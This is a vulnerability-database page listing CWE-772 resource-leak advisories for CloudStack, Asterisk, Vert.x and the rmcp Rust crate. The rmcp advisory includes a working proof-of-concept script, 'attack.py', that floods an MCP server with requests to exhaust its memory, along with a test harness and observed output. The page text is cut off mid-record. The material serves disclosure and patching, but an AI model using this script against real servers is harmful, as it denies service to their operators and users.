GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-772

Allowed

Missing Release of Resource after Effective Lifetime

Abstraction: Base · Status: Draft

The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

602 vulnerabilities reference this CWE, most recent first.

GHSA-9J4G-GRW7-5966

Vulnerability from github – Published: 2026-08-21 15:32 – Updated: 2026-08-27 03:32
VLAI
Details

Missing Release of Resource after Effective Lifetime vulnerability in Apache CloudStack's scoped global configuration functionality. It affects different modules and plugins of the CloudStack management server, including Quota, Host-HA, etc., and may lead to eventual denial of service (DoS) scenario for the management server.

This issue affects Apache CloudStack: from 4.7.0 through 4.20.3.0 and from 4.21.0.0 through 4.22.1.0.

Users are recommended to upgrade to version 4.20.3.1 or 4.22.1.1 or later, which fixes the issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-59654"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-21T13:18:17Z",
    "severity": "MODERATE"
  },
  "details": "Missing Release of Resource after Effective Lifetime vulnerability in Apache CloudStack\u0027s scoped global configuration functionality. It affects different modules and plugins of the CloudStack management server, including Quota, Host-HA, etc., and may lead to eventual denial of service (DoS) scenario for the management server.\n\nThis issue affects Apache CloudStack: from 4.7.0 through 4.20.3.0 and from 4.21.0.0 through 4.22.1.0.\n\nUsers are recommended to upgrade to version 4.20.3.1 or 4.22.1.1 or later, which fixes the issue.",
  "id": "GHSA-9j4g-grw7-5966",
  "modified": "2026-08-27T03:32:57Z",
  "published": "2026-08-21T15:32:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59654"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/7cgf37clcpjj4g2hl7rnyoq1th3ht9r4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-9JQM-GVWX-9WXQ

Vulnerability from github – Published: 2022-05-01 18:20 – Updated: 2024-02-08 21:30
VLAI
Details

The IAX2 channel driver (chan_iax2) in Asterisk Open 1.2.x before 1.2.23, 1.4.x before 1.4.9, and Asterisk Appliance Developer Kit before 0.6.0, when configured to allow unauthenticated calls, allows remote attackers to cause a denial of service (resource exhaustion) via a flood of calls that do not complete a 3-way handshake, which causes an ast_channel to be allocated but not released.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-4103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-07-31T10:17:00Z",
    "severity": "HIGH"
  },
  "details": "The IAX2 channel driver (chan_iax2) in Asterisk Open 1.2.x before 1.2.23, 1.4.x before 1.4.9, and Asterisk Appliance Developer Kit before 0.6.0, when configured to allow unauthenticated calls, allows remote attackers to cause a denial of service (resource exhaustion) via a flood of calls that do not complete a 3-way handshake, which causes an ast_channel to be allocated but not released.",
  "id": "GHSA-9jqm-gvwx-9wxq",
  "modified": "2024-02-08T21:30:31Z",
  "published": "2022-05-01T18:20:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4103"
    },
    {
      "type": "WEB",
      "url": "http://bugs.gentoo.org/show_bug.cgi?id=185713"
    },
    {
      "type": "WEB",
      "url": "http://ftp.digium.com/pub/asa/ASA-2007-018.pdf"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38197"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/26274"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/29051"
    },
    {
      "type": "WEB",
      "url": "http://security.gentoo.org/glsa/glsa-200802-11.xml"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/2960"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/475069/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/24950"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1018472"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/2701"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9PH3-V2VH-3QX7

Vulnerability from github – Published: 2024-04-02 09:30 – Updated: 2026-02-27 20:57
VLAI
Summary
Eclipse Vert.x vulnerable to a memory leak in TCP servers
Details

A vulnerability in the Eclipse Vert.x toolkit causes a memory leak in TCP servers configured with TLS and SNI support. When processing an unknown SNI server name assigned the default certificate instead of a mapped certificate, the SSL context is erroneously cached in the server name map, leading to memory exhaustion. This flaw allows attackers to send TLS client hello messages with fake server names, triggering a JVM out-of-memory error.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.4"
            },
            {
              "fixed": "4.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.vertx:vertx-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.5.0"
            },
            {
              "fixed": "4.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-1300"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-02T16:15:47Z",
    "nvd_published_at": "2024-04-02T08:15:53Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the Eclipse Vert.x toolkit causes a memory leak in TCP servers configured with TLS and SNI support. When processing an unknown SNI server name assigned the default certificate instead of a mapped certificate, the SSL context is erroneously cached in the server name map, leading to memory exhaustion. This flaw allows attackers to send TLS client hello messages with fake server names, triggering a JVM out-of-memory error.",
  "id": "GHSA-9ph3-v2vh-3qx7",
  "modified": "2026-02-27T20:57:55Z",
  "published": "2024-04-02T09:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1300"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5101"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5100"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/pull/5099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/commit/7ad34ea9d78f85e26b231ee3ec8d492d10046479"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eclipse-vertx/vert.x/commit/3d9235cadf44df39a70dc75bddfe0b8fcbd6a683"
    },
    {
      "type": "WEB",
      "url": "https://vertx.io/docs/vertx-core/java/#_server_name_indication_sni."
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eclipse-vertx/vert.x"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2263139"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2024-1300"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:4884"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3989"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:3527"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2833"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:2088"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1923"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1706"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2024:1662"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Eclipse Vert.x vulnerable to a memory leak in TCP servers"
}

GHSA-9PJ6-VHGR-3MWH

Vulnerability from github – Published: 2026-09-16 22:13 – Updated: 2026-09-16 22:13
VLAI
Summary
RMCP: Unauthenticated permanent session-table leak in rmcp Streamable HTTP server transport leads to remote denial-of-service
Details

Summary

An unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of LocalSessionManager by sending a well-formed JSON-RPC POST that is not an InitializeRequest. The Streamable HTTP server's handle_post allocates the session before it validates the body, then early-returns on the validation failure without calling close_session. The LocalSessionHandle (and the tokio mpsc channel internals it holds) is never released for the remainder of the process's lifetime — turning a ~250-byte request into a permanent ~400–550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly 170 million leaked entries per day, equivalent to ≈75 GB of resident memory just from the session table.

Details

The bug lives in crates/rmcp/src/transport/streamable_http_server/tower.rs inside StreamableHttpService::handle_post. The relevant slice of 1.7.0 source (lines 1126–1170) is:

} else {
    let (session_id, transport) = self
        .session_manager
        .create_session()                                                  // (★)
        .await
        .map_err(internal_error_response("create session"))?;
    // ...capture init params if a SessionStore is configured...
    if let ClientJsonRpcMessage::Request(req) = &mut message {
        let ClientRequest::InitializeRequest(init_req) = &req.request else {
            return Err(unexpected_message_response("initialize request")); // (A)
        };
        validate_header_matches_init_body(                                 // (B)
            &part.headers,
            init_req.params.protocol_version.as_str(),
            Some(req.id.clone()),
        )?;
        req.request.extensions_mut().insert(part);
    } else {
        return Err(unexpected_message_response("initialize request"));     // (C)
    }
    let service = self
        .get_service()                                                     // (D)
        .map_err(internal_error_response("get service"))?;
    Self::spawn_session_worker(                                            // (★★)
        self.session_manager.clone(),
        session_id.clone(),
        service,
        transport,
        None,
    );
    // ...persist to external store, send response...
}

Two facts make this unsafe:

  1. (★) inserts a LocalSessionHandle into LocalSessionManager.sessions (a tokio::sync::RwLock<HashMap<SessionId, LocalSessionHandle>>) and spawns a LocalSessionWorker task.
  2. (★★) spawn_session_worker is the only code path in the entire transport (besides a client-initiated HTTP DELETE reaching handle_delete) that ever invokes self.session_manager.close_session(&session_id).

Therefore the four early-returns (A), (B), (C), and (D) all skip the cleanup. What happens concretely after such an early return:

  • The local transport: WorkerTransport<LocalSessionWorker> goes out of scope; its _drop_guard cancels the worker's CancellationToken.
  • The worker, which had been awaiting event_rx.recv(), exits within milliseconds via WorkerQuitReason::Cancelled. Its event_rx receiver is dropped.
  • LocalSessionHandle.event_tx (the Sender half of the same mpsc channel) is still alive because it is owned by the HashMap entry that nothing ever removes. The channel's Inner (sized to channel_capacity = 16 by default) remains pinned in memory.

Because the worker has already exited, the SessionConfig::keep_alive and init_timeout cleanup paths cannot run either — they only fire from inside a running worker. The leak is therefore permanent for the lifetime of the server process and grows unbounded with sustained traffic.

The bug is reachable with zero authentication, the default StreamableHttpServerConfig, and the default LocalSessionManager. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate Host: <bound-address> value and is allowed through validate_dns_rebinding_headers normally.

A secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes self.sessions.write().await or .read().await against the same RwLock. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, before the box runs out of memory.

Proof of concept

The reproduction is fully self-contained — no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.

Step 1 — server harness

Cargo.toml (paste verbatim):

[package]
name = "rmcp_leak_repro"
version = "0.0.1"
edition = "2021"
publish = false

[dependencies]
rmcp = { version = "1.7.0", default-features = false, features = [
    "server",
    "transport-streamable-http-server",
] }
tokio = { version = "1", features = ["macros", "rt-multi-thread", "signal", "sync", "time"] }
tokio-util = { version = "0.7" }
axum = { version = "0.8", default-features = false, features = ["http1", "tokio"] }
anyhow = "1"

[workspace]

src/main.rs (paste verbatim):

//! Minimal MCP Streamable HTTP server that prints the size of the
//! LocalSessionManager.sessions HashMap once a second so the leak is
//! observable from stdout.

use std::sync::Arc;

use rmcp::{
    ErrorData, RoleServer, ServerHandler,
    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},
    service::RequestContext,
    transport::{
        StreamableHttpServerConfig, StreamableHttpService,
        streamable_http_server::session::local::LocalSessionManager,
    },
};

const BIND_ADDRESS: &str = "127.0.0.1:8000";

#[derive(Clone, Default)]
struct MinimalServer;

impl ServerHandler for MinimalServer {
    async fn initialize(
        &self,
        _request: InitializeRequestParams,
        _cx: RequestContext<RoleServer>,
    ) -> Result<InitializeResult, ErrorData> {
        Ok(InitializeResult::new(ServerCapabilities::builder().build())
            .with_server_info(Implementation::new("rmcp-leak-repro", "0.0.1")))
    }
}

#[tokio::main]
async fn main() -> anyhow::Result<()> {
    let ct = tokio_util::sync::CancellationToken::new();
    let manager: Arc<LocalSessionManager> = Arc::new(LocalSessionManager::default());

    // Reporter — prints sessions.len() every second.
    {
        let manager = manager.clone();
        let ct = ct.clone();
        tokio::spawn(async move {
            loop {
                tokio::select! {
                    _ = ct.cancelled() => break,
                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) => {
                        let n = manager.sessions.read().await.len();
                        println!("[count] active_sessions={n}");
                    }
                }
            }
        });
    }

    let service = StreamableHttpService::new(
        || Ok(MinimalServer::default()),
        manager.clone(),
        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),
    );

    let router = axum::Router::new().nest_service("/mcp", service);
    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;
    println!("[server] listening on http://{BIND_ADDRESS}/mcp");

    let _ = axum::serve(tcp_listener, router)
        .with_graceful_shutdown(async move {
            tokio::signal::ctrl_c().await.ok();
            ct.cancel();
        })
        .await;
    Ok(())
}

Start it:

cargo run --release

Initial output:

[server] listening on http://127.0.0.1:8000/mcp
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0

Step 2 — attacker

attack.py (paste verbatim — Python 3 standard library only, no pip install required):

import http.client, json, sys, time

HOST, PORT, PATH = "127.0.0.1", 8000, "/mcp"

# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,
# but NOT an `InitializeRequest`. The server's `let ... else` pattern at
# tower.rs:1148 rejects it after the session has already been created
# at tower.rs:1129.
body = json.dumps({
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/list",
    "params": {},
}).encode("ascii")

headers = {
    "Host": f"{HOST}:{PORT}",                        # passes allowed_hosts
    "Content-Type": "application/json",
    "Accept": "application/json, text/event-stream",
    "Content-Length": str(len(body)),
}

n = int(sys.argv[1]) if len(sys.argv) > 1 else 1000
print(f"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}")
start = time.monotonic()
leaked = 0
for i in range(n):
    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
    conn.request("POST", PATH, body=body, headers=headers)
    resp = conn.getresponse()
    status = resp.status
    resp.read()
    conn.close()
    if status == 422:
        leaked += 1
elapsed = time.monotonic() - start
print(f"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).")

Run it:

python3 attack.py 1000

Step 3 — observed evidence

Attacker output (verbatim, measured on Rust 1.92.0 stable, macOS):

[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp
[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).

Server output during and after the attack:

[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=0
[count] active_sessions=844
[count] active_sessions=1000      <-- attack complete, attacker has disconnected
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000
[count] active_sessions=1000      <-- 20+ seconds later, still 1000
[count] active_sessions=1000
[count] active_sessions=1000

The behavioural evidence that confirms the vulnerability:

  • Every one of the 1 000 requests took the leak branch (HTTP 422 Unprocessable Entity with body Unexpected message, expect initialize request).
  • A single Python client sustained 1000 / 0.46 ≈ 2 174 leak requests per second.
  • After the attacker exited, active_sessions=1000 never decreased. The session table holds those entries for the rest of the process's lifetime.

poc

Impact

  • Attack vector: Network (AV:N). The listener binds a TCP port; the default allowed_hosts = ["localhost", "127.0.0.1", "::1"] accepts anything reaching it over the loopback interface. In the dominant deployment model — a Streamable HTTP MCP server embedded into an IDE or local agent — any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened allowed_hosts to a public hostname, the attack is reachable from the network.
  • Authentication required: None.
  • User interaction required: None.
  • Result: Denial of Service. Memory grows linearly with attacker request volume (~400–550 bytes per leaked entry, including the SessionId Arc<str>, the LocalSessionHandle struct, and the half-dropped mpsc channel Inner). At the measured rate of 2 174 leak requests per second from one Python client:
    • 1 hour: ~7.8 M entries, ≈3.5 GB
    • 1 day: ~187 M entries, ≈84 GB
    • 1 week: process is long dead from OOM
  • Secondary effect: LocalSessionManager.sessions is behind a tokio::sync::RwLock. Every legitimate session operation (has_session, create_session, close_session, restore_session) takes that lock. As the HashMap grows, write-lock contention degrades latency for all clients well before OOM.
  • Worst case: Server process is OOM-killed and any in-flight sessions are torn down with it. Restart restores service but does not prevent re-attack.

Suggested fix

Two minimally invasive options. Both have been considered against the existing API; the maintainers will know which fits better with the internal contracts.

  1. Validate before allocating. Move the ClientJsonRpcMessage::Request(InitializeRequest) discriminant check and the validate_header_matches_init_body call above the self.session_manager.create_session().await line. Reject non-initialize bodies with 422 before any state is created. This removes a class of bugs rather than patching one path. The downside is that validate_header_matches_init_body currently reads init_req.params.protocol_version, so the InitializeRequest discriminant has to be deconstructed earlier — a small refactor.
  2. RAII guard for the session. Wrap the session_id returned by create_session in a guard whose Drop impl spawns a close_session call. Demote the guard to a no-op only after the handshake has fully succeeded (i.e. at the very end of the happy-path arm, just before the response is returned). This keeps the existing flow but converts every early-return into a cleanup trigger automatically — including future early-returns that reviewers might miss.

A regression test that asserts session_manager.sessions.read().await.len() == 0 after sending a non-initialize POST and a header-mismatched initialize POST would catch this and any similar future regressions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "rmcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-401",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:13:34Z",
    "nvd_published_at": "2026-09-16T15:17:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn unauthenticated remote attacker can leak one entry per HTTP request out of the in-memory session table of `LocalSessionManager` by sending a well-formed JSON-RPC `POST` that is *not* an `InitializeRequest`. The Streamable HTTP server\u0027s `handle_post` allocates the session **before** it validates the body, then early-returns on the validation failure without calling `close_session`. The `LocalSessionHandle` (and the tokio mpsc channel internals it holds) is never released for the remainder of the process\u0027s lifetime \u2014 turning a ~250-byte request into a permanent ~400\u2013550-byte server-side allocation that scales linearly with request volume and eventually exhausts memory. In the verified reproduction below, a single Python client sustains over 2 000 leak requests per second; that translates to roughly **170 million leaked entries per day**, equivalent to **\u224875 GB** of resident memory just from the session table.\n\n### Details\n\nThe bug lives in `crates/rmcp/src/transport/streamable_http_server/tower.rs` inside `StreamableHttpService::handle_post`. The relevant slice of `1.7.0` source (lines `1126\u20131170`) is:\n\n```rust\n} else {\n    let (session_id, transport) = self\n        .session_manager\n        .create_session()                                                  // (\u2605)\n        .await\n        .map_err(internal_error_response(\"create session\"))?;\n    // ...capture init params if a SessionStore is configured...\n    if let ClientJsonRpcMessage::Request(req) = \u0026mut message {\n        let ClientRequest::InitializeRequest(init_req) = \u0026req.request else {\n            return Err(unexpected_message_response(\"initialize request\")); // (A)\n        };\n        validate_header_matches_init_body(                                 // (B)\n            \u0026part.headers,\n            init_req.params.protocol_version.as_str(),\n            Some(req.id.clone()),\n        )?;\n        req.request.extensions_mut().insert(part);\n    } else {\n        return Err(unexpected_message_response(\"initialize request\"));     // (C)\n    }\n    let service = self\n        .get_service()                                                     // (D)\n        .map_err(internal_error_response(\"get service\"))?;\n    Self::spawn_session_worker(                                            // (\u2605\u2605)\n        self.session_manager.clone(),\n        session_id.clone(),\n        service,\n        transport,\n        None,\n    );\n    // ...persist to external store, send response...\n}\n```\n\nTwo facts make this unsafe:\n\n1. `(\u2605)` inserts a `LocalSessionHandle` into `LocalSessionManager.sessions` (a `tokio::sync::RwLock\u003cHashMap\u003cSessionId, LocalSessionHandle\u003e\u003e`) and spawns a `LocalSessionWorker` task.\n2. `(\u2605\u2605)` `spawn_session_worker` is the **only** code path in the entire transport (besides a client-initiated HTTP `DELETE` reaching `handle_delete`) that ever invokes `self.session_manager.close_session(\u0026session_id)`.\n\nTherefore the four early-returns `(A)`, `(B)`, `(C)`, and `(D)` all skip the cleanup. What happens concretely after such an early return:\n\n- The local `transport: WorkerTransport\u003cLocalSessionWorker\u003e` goes out of scope; its `_drop_guard` cancels the worker\u0027s `CancellationToken`.\n- The worker, which had been awaiting `event_rx.recv()`, exits within milliseconds via `WorkerQuitReason::Cancelled`. Its `event_rx` receiver is dropped.\n- `LocalSessionHandle.event_tx` (the `Sender` half of the same mpsc channel) is still alive **because it is owned by the HashMap entry that nothing ever removes**. The channel\u0027s `Inner` (sized to `channel_capacity = 16` by default) remains pinned in memory.\n\nBecause the worker has already exited, the `SessionConfig::keep_alive` and `init_timeout` cleanup paths cannot run either \u2014 they only fire from inside a running worker. The leak is therefore **permanent for the lifetime of the server process** and grows unbounded with sustained traffic.\n\nThe bug is reachable with **zero authentication**, the **default** `StreamableHttpServerConfig`, and the **default** `LocalSessionManager`. It is independent of the Host-header DNS-rebinding flaw fixed in 1.4.0 (GHSA-89vp-x53w-74fx / CVE-2026-42559): the attacker sends a legitimate `Host: \u003cbound-address\u003e` value and is allowed through `validate_dns_rebinding_headers` normally.\n\nA secondary side-effect amplifies the impact: every legitimate operation (session lookup, restore, new initialize) takes `self.sessions.write().await` or `.read().await` against the same `RwLock`. As the HashMap grows into the millions of phantom entries, honest clients see growing tail latency from write-lock starvation, **before** the box runs out of memory.\n\n### Proof of concept\n\nThe reproduction is fully self-contained \u2014 no clone of the rust-sdk repository is required. Create an empty directory and save the three files below into it, then run two commands.\n\n#### Step 1 \u2014 server harness\n\n`Cargo.toml` (paste verbatim):\n\n```toml\n[package]\nname = \"rmcp_leak_repro\"\nversion = \"0.0.1\"\nedition = \"2021\"\npublish = false\n\n[dependencies]\nrmcp = { version = \"1.7.0\", default-features = false, features = [\n    \"server\",\n    \"transport-streamable-http-server\",\n] }\ntokio = { version = \"1\", features = [\"macros\", \"rt-multi-thread\", \"signal\", \"sync\", \"time\"] }\ntokio-util = { version = \"0.7\" }\naxum = { version = \"0.8\", default-features = false, features = [\"http1\", \"tokio\"] }\nanyhow = \"1\"\n\n[workspace]\n```\n\n`src/main.rs` (paste verbatim):\n\n```rust\n//! Minimal MCP Streamable HTTP server that prints the size of the\n//! LocalSessionManager.sessions HashMap once a second so the leak is\n//! observable from stdout.\n\nuse std::sync::Arc;\n\nuse rmcp::{\n    ErrorData, RoleServer, ServerHandler,\n    model::{Implementation, InitializeRequestParams, InitializeResult, ServerCapabilities},\n    service::RequestContext,\n    transport::{\n        StreamableHttpServerConfig, StreamableHttpService,\n        streamable_http_server::session::local::LocalSessionManager,\n    },\n};\n\nconst BIND_ADDRESS: \u0026str = \"127.0.0.1:8000\";\n\n#[derive(Clone, Default)]\nstruct MinimalServer;\n\nimpl ServerHandler for MinimalServer {\n    async fn initialize(\n        \u0026self,\n        _request: InitializeRequestParams,\n        _cx: RequestContext\u003cRoleServer\u003e,\n    ) -\u003e Result\u003cInitializeResult, ErrorData\u003e {\n        Ok(InitializeResult::new(ServerCapabilities::builder().build())\n            .with_server_info(Implementation::new(\"rmcp-leak-repro\", \"0.0.1\")))\n    }\n}\n\n#[tokio::main]\nasync fn main() -\u003e anyhow::Result\u003c()\u003e {\n    let ct = tokio_util::sync::CancellationToken::new();\n    let manager: Arc\u003cLocalSessionManager\u003e = Arc::new(LocalSessionManager::default());\n\n    // Reporter \u2014 prints sessions.len() every second.\n    {\n        let manager = manager.clone();\n        let ct = ct.clone();\n        tokio::spawn(async move {\n            loop {\n                tokio::select! {\n                    _ = ct.cancelled() =\u003e break,\n                    _ = tokio::time::sleep(std::time::Duration::from_secs(1)) =\u003e {\n                        let n = manager.sessions.read().await.len();\n                        println!(\"[count] active_sessions={n}\");\n                    }\n                }\n            }\n        });\n    }\n\n    let service = StreamableHttpService::new(\n        || Ok(MinimalServer::default()),\n        manager.clone(),\n        StreamableHttpServerConfig::default().with_cancellation_token(ct.child_token()),\n    );\n\n    let router = axum::Router::new().nest_service(\"/mcp\", service);\n    let tcp_listener = tokio::net::TcpListener::bind(BIND_ADDRESS).await?;\n    println!(\"[server] listening on http://{BIND_ADDRESS}/mcp\");\n\n    let _ = axum::serve(tcp_listener, router)\n        .with_graceful_shutdown(async move {\n            tokio::signal::ctrl_c().await.ok();\n            ct.cancel();\n        })\n        .await;\n    Ok(())\n}\n```\n\nStart it:\n\n```bash\ncargo run --release\n```\n\nInitial output:\n\n```\n[server] listening on http://127.0.0.1:8000/mcp\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n```\n\n#### Step 2 \u2014 attacker\n\n`attack.py` (paste verbatim \u2014 Python 3 standard library only, no `pip install` required):\n\n```python\nimport http.client, json, sys, time\n\nHOST, PORT, PATH = \"127.0.0.1\", 8000, \"/mcp\"\n\n# A `CustomRequest` -- valid JSON-RPC, valid `ClientJsonRpcMessage::Request`,\n# but NOT an `InitializeRequest`. The server\u0027s `let ... else` pattern at\n# tower.rs:1148 rejects it after the session has already been created\n# at tower.rs:1129.\nbody = json.dumps({\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/list\",\n    \"params\": {},\n}).encode(\"ascii\")\n\nheaders = {\n    \"Host\": f\"{HOST}:{PORT}\",                        # passes allowed_hosts\n    \"Content-Type\": \"application/json\",\n    \"Accept\": \"application/json, text/event-stream\",\n    \"Content-Length\": str(len(body)),\n}\n\nn = int(sys.argv[1]) if len(sys.argv) \u003e 1 else 1000\nprint(f\"[client] firing {n} leaking POSTs at http://{HOST}:{PORT}{PATH}\")\nstart = time.monotonic()\nleaked = 0\nfor i in range(n):\n    conn = http.client.HTTPConnection(HOST, PORT, timeout=5)\n    conn.request(\"POST\", PATH, body=body, headers=headers)\n    resp = conn.getresponse()\n    status = resp.status\n    resp.read()\n    conn.close()\n    if status == 422:\n        leaked += 1\nelapsed = time.monotonic() - start\nprint(f\"[client] done in {elapsed:.2f}s. {leaked}/{n} requests took the leaking branch (HTTP 422).\")\n```\n\nRun it:\n\n```bash\npython3 attack.py 1000\n```\n\n#### Step 3 \u2014 observed evidence\n\nAttacker output (verbatim, measured on Rust 1.92.0 stable, macOS):\n\n```\n[client] firing 1000 leaking POSTs at http://127.0.0.1:8000/mcp\n[client] done in 0.46s. 1000/1000 requests took the leaking branch (HTTP 422).\n```\n\nServer output during and after the attack:\n\n```\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=0\n[count] active_sessions=844\n[count] active_sessions=1000      \u003c-- attack complete, attacker has disconnected\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n[count] active_sessions=1000      \u003c-- 20+ seconds later, still 1000\n[count] active_sessions=1000\n[count] active_sessions=1000\n```\n\nThe behavioural evidence that confirms the vulnerability:\n\n- Every one of the 1 000 requests took the leak branch (`HTTP 422 Unprocessable Entity` with body `Unexpected message, expect initialize request`).\n- A single Python client sustained `1000 / 0.46 \u2248 2 174` leak requests per second.\n- After the attacker exited, `active_sessions=1000` never decreased. The session table holds those entries for the rest of the process\u0027s lifetime.\n\n\u003c!--\n  Optional: drop in a terminal screenshot here. Two screenshots\n  (server console / attacker console) or one side-by-side capture are\n  both fine. Filenames can be anything you like; suggested:\n    ![server console \u2014 active_sessions climbs to 1000 and remains](server.png)\n    ![attacker console \u2014 1000/1000 HTTP 422 in 0.46s](attacker.png)\n--\u003e\n\n\u003cimg width=\"3554\" height=\"1468\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/48e51c27-c0b9-4bf9-ab3f-d56193ac6da6\" /\u003e\n\n\n### Impact\n\n- **Attack vector**: Network (AV:N). The listener binds a TCP port; the default `allowed_hosts = [\"localhost\", \"127.0.0.1\", \"::1\"]` accepts anything reaching it over the loopback interface. In the dominant deployment model \u2014 a Streamable HTTP MCP server embedded into an IDE or local agent \u2014 any co-resident process on the host is a candidate attacker. In LAN deployments where the operator widened `allowed_hosts` to a public hostname, the attack is reachable from the network.\n- **Authentication required**: None.\n- **User interaction required**: None.\n- **Result**: Denial of Service. Memory grows linearly with attacker request volume (~400\u2013550 bytes per leaked 